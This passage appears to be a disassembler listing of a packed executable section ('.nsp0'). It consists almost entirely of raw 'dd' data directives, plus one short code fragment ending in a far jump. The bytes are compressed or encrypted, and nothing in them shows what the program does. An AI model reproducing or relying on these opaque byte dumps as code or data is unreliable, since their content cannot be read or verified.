0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h db 0, 28h, 0ECh ; --------------------------------------------------------------------------- loc_4660FB: ; CODE XREF: .nsp0:00465A9Cj pushf jmp far ptr 4B7Fh:19662668h ; --------------------------------------------------------------------------- align 4 dd 3332FF64h, 30DA2289h, 68288F00h, 3D800301h, 65700041h dd 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h, 1214008Ch dd 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h, 0EFB8002Fh dd 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h, 0DAF01h dd 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h, 0EA0014Ah dd 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h, 3BAF3E9h dd 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch, 3CC840Fh dd 21D2A4D5h, 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h dd 0B24D0360h, 0D825F477h, 423C3Ah, 0A63D51D5h, 0E4B52EB3h dd 39FE601h, 61B88993h, 117FDE4h, 153E3238h, 0E0535E57h dd 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h dd 537CE080h, 0A17C051Ch, 83390980h, 0B1528h, 480213DFh dd 0E4F98108h, 7F27AD0Eh, 176D0038h, 0B79C985h, 0C183031Ch dd 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h, 18460FDAh dd 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h dd 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch, 8112C216h dd 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh, 1CA40BEh dd 97F0E983h, 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h dd 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h dd 0B260889h, 5FF1490h, 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h dd 7FE40186h, 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh dd 0CA96000Eh, 2C2B5F02h, 13010D84h, 4A522A0Bh, 0A7701C0Ah dd 4DB8C2h, 4D08B1FEh, 0E1339048h, 9149200h, 31742506h dd 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h dd 20AC1EE2h, 1F643EBh, 8AB8FAC7h, 72E0A746h, 0C62B0800h dd 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh, 64455509h dd 1FD8963Dh, 7A00733h, 20670AA9h, 3E5A250Bh, 0B0F8BF00h dd 2A824D8h, 13760075h, 0C655F378h, 4600FC32h, 8316A008h dd 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h, 984D665Ch dd 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h dd 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h, 0C37AC466h dd 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h dd 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h dd 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h dd 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h dd 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h, 0FAC2F4h dd 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh, 25B0013h dd 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch dd 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h, 1CCD1D33h dd 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh dd 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h dd 591913CAh, 0A8870EAFh, 78962640h, 6B050969h, 8D41670Eh dd 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh dd 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h, 4470119h dd 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh dd 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh dd 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h, 0F174D4CFh dd 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh dd 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h, 1C2FBAAh dd 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h, 94167FEFh dd 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h, 98CDA984h dd 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h, 0B184007Fh dd 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h, 0EBC38E43h dd 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h, 12000E5Fh dd 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h, 1800EB3Bh dd 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh, 0C400B3FEh dd 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh, 4C515160h dd 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h, 92D60317h dd 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h dd 645D4B7Eh, 559500D4h, 172DB68Dh, 0A5000296h, 9908ABE8h dd 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh, 2DE07B62h, 26006920h dd 17210231h, 24C3838Eh, 53EEDCh, 2AD2FB28h, 8B00BB05h dd 22F581E0h, 0F0B0Ch, 0CD64938Fh, 34C98491h, 79F27D0Fh dd 0C6142092h, 2A7C303h, 50014289h, 0F7E075D0h, 0D48212Ah dd 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh, 863D039Fh, 768F4420h dd 844DB412h, 2E804C1Ch, 611F0D5Eh, 6952005Dh, 0ABBC4AEFh dd 0EB0390F2h, 0E8051D21h, 8E14A8CBh, 3BC43DD0h, 7FE18801h dd 70294A2Ah, 431654E6h, 41E030Dh, 9298E4C0h, 57861Dh dd 0D4B755D3h, 349A9732h, 411A0E00h, 0FF429271h, 73D7B20h dd 824B568Bh, 0A85D4026h, 88002449h, 643CA351h, 7522CFAh dd 851F8D28h, 0F0671016h, 6A58BDD8h, 0E90400EDh, 999812A0h dd 2246009Eh, 97A884F5h, 1E0051F1h, 75F0C3F6h, 4843A40Fh dd 69004144h, 98897970h, 4A1F6864h, 80C125C3h, 53A92B5h dd 7CED0D8h, 45C50154h, 0AAE9708Bh, 4B00509Ch, 57675D08h dd 0E012F7h, 3F32CC95h, 48C3140Ah, 3BC22B1Fh, 0C91456EEh dd 990C0389h, 0D89AA5A6h, 0E8E244h, 3D3B24F8h, 2C754248h dd 4C3F71E6h, 81808256h, 0C025D4BBh, 57EA2h, 709985E6h dd 0DCABA5A4h, 108B8000h, 7402C2F6h, 611C3A4Eh, 7204FA80h dd 400B88F4h, 8833700h, 3B29EA01h, 0ADC7078Bh, 0F0B60578h dd 0C5065DB4h, 0EC081626h, 51132400h, 459F8Bh, 0D332988Eh dd 25C688A2h, 3DA16900h, 0A521A636h, 5E740022h, 75B0295Dh dd 0C60BD582h, 0E6ED30h, 10BE1249h, 70E8078Bh, 0D0D7F54Dh dd 0F14CB8E1h, 324C500h, 3B01C8C7h, 8C0F02FEh, 0D71C4083h dd 0BDB69DC0h, 0F8D33F00h, 0C1387516h, 52905E0h, 0C5675333h dd 7DED0087h, 4C8D0F0Eh, 789814F0h, 29C81F00h, 0E9F7216Fh dd 82F65Ah, 3F6D833h, 0AA285E02h, 16AD300h, 0A96BD49Eh dd 1BD8E1FBh, 3DD008Bh, 415DDE69h, 0E70089FEh, 0F5753E4Ah dd 343525h, 0C7A9823Ch, 84AEEADAh, 27674B00h, 7C23DC2Eh dd 5453005Eh, 15DB68C2h, 0E00F758h, 28AA18F2h, 6034214h dd 0A819C735h, 2C16B050h, 0C1071CD2h, 0B502025h, 4A89F0h dd 0E9D70675h, 0CA91DD73h, 5295AA00h, 4D24B1DFh, 0C2960078h dd 0E4F57F85h, 3B140697h, 859A81h, 14831F2Bh, 98E0DAh dd 932CEBE5h, 3587299Eh, 0D1322400h, 0C3404A0Eh, 485D07C7h dd 203A8FD3h, 93E25434h, 0C40029F6h, 2356F72Eh, 0C2421h dd 0ABAFD81Ch, 2B7A04A0h, 74F805FAh, 77020900h, 641363E9h dd 7EBFA4Ah, 5E5AA719h, 741460B8h, 0FC00F25Dh, 7815D9B9h dd 1731C422h, 4E6F25h, 0AB10837Eh, 500C012h, 0EBFC5D89h dd 76C364Dh, 330F7F19h, 4881D0F8h, 0C2009FEAh, 0F40662CEh dd 7DF04Fh, 84973802h, 1AA811F8h, 9100CBF0h, 5C164BE8h dd 0FC0747EBh, 7D890009h, 3821939Ch, 0B8747C25h, 8140BC00h dd 1815FF0Ah, 0D7650460h, 80011489h, 54BF84FBh, 52DCB31Fh dd 911C21C0h, 90022375h, 850800B5h, 943274C9h, 1800037Ch dd 22C88950h dd 672042h, 0DA197559h, 0F9D8E924h, 3A50577Eh, 3201528Fh dd 0D0061065h, 45DCA6D7h, 983D00E7h, 0AF0E026h, 0AA00040Dh dd 5A03AFB0h, 0D105FFh, 0ED808A48h, 0B79BE40h, 4677E800h dd 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h dd 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h dd 505890h, 2EA85152h, 0C584B883h, 5ABC3Eh, 0C031B244h dd 154C966h, 428F1E50h, 0DD105180h, 8BD2F80Fh, 110388F8h dd 6905489h, 1F91D0C8h, 0C65F00CBh, 3916D7D8h, 770009F7h dd 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh, 18A4D207h dd 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h dd 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh, 0EB391290h dd 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h dd 0CE2017Bh, 0C50558h, 34E6EB02h, 4FE255Fh, 1B1CC7FAh dd 88508043h, 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h dd 0ACD2C3h, 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h dd 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h dd 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h dd 3AC677CAh, 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h dd 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h dd 40F2E80Eh, 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h dd 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h, 178A38E8h dd 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh dd 589B8EC0h, 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h dd 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah dd 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h dd 1470700h, 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h dd 0C949B500h, 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h dd 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h dd 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh dd 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh dd 8A367403h, 750A3A08h, 54306700h, 1489313h, 9F4A00D3h dd 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h dd 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h dd 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h dd 24405FAAh, 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h dd 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h dd 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h, 0C7431C17h dd 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h dd 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah dd 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h dd 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h dd 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh dd 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch dd 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh dd 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h dd 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h dd 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h dd 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h dd 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h dd 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah dd 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h dd 7301FA00h, 90517497h, 8B440035h, 0ECF85442h, 52005D36h dd 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h dd 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h dd 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h dd 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h dd 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h dd 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh dd 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh dd 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h dd 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h dd 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h dd 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h dd 4F53003Ch, 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch dd 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h, 550350h dd 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh dd 48E0006Fh, 53020B04h dd 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h, 5468005Fh dd 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h, 286D0014h dd 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh, 5760F931h dd 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h, 4108A890h dd 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h, 26911F74h dd 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h, 2C444D42h dd 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h, 0B50600A6h dd 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h dd 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h dd 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h dd 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch dd 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h, 0F238689h dd 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah, 8D20CF86h dd 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h, 2480A48Ch dd 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh dd 2489D100h, 28603949h, 54050F5Ah, 53A05755h, 9507C888h dd 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h dd 0A427BEAh, 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h dd 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h dd 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h dd 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh dd 5034C056h, 0C2BE02h, 4AB80C52h, 3F1FFC5h, 3854491Ch dd 86E97282h, 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h dd 57221509h, 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h dd 84713060h, 83073Fh, 369429E8h, 52E130E7h, 43963D00h dd 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh dd 502F18C0h, 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h dd 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h dd 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h dd 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h dd 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h dd 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h dd 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh dd 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah dd 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h dd 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h dd 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h dd 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h, 70E80C00h dd 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h dd 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh dd 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h dd 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h dd 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h dd 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h dd 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h dd 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h dd 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h dd 0FF03E990h, 2F967100h, 2836156h, 417E1D05h, 3D2580EEh dd 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h dd 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h, 3C9F30h dd 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch dd 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h dd 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h dd 334AE877h, 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh dd 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h dd 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h dd 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh dd 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh dd 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh dd 47743E40h, 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h dd 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h dd 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh dd 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh dd 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh dd 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h dd 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h dd 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh dd 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh dd 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h dd 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h dd 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh dd 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h, 275513h dd 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h dd 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h, 13481864h dd 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h dd 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h, 10180026h dd 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h dd 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h dd 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h dd 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh dd 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h dd 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h dd 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h, 293160h dd 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch dd 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h dd 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h dd 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh, 70340A20h dd 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h dd 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h dd 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h dd 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh dd 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh dd 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah dd 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h dd 213BA044h, 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h dd 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h dd 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h dd 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h, 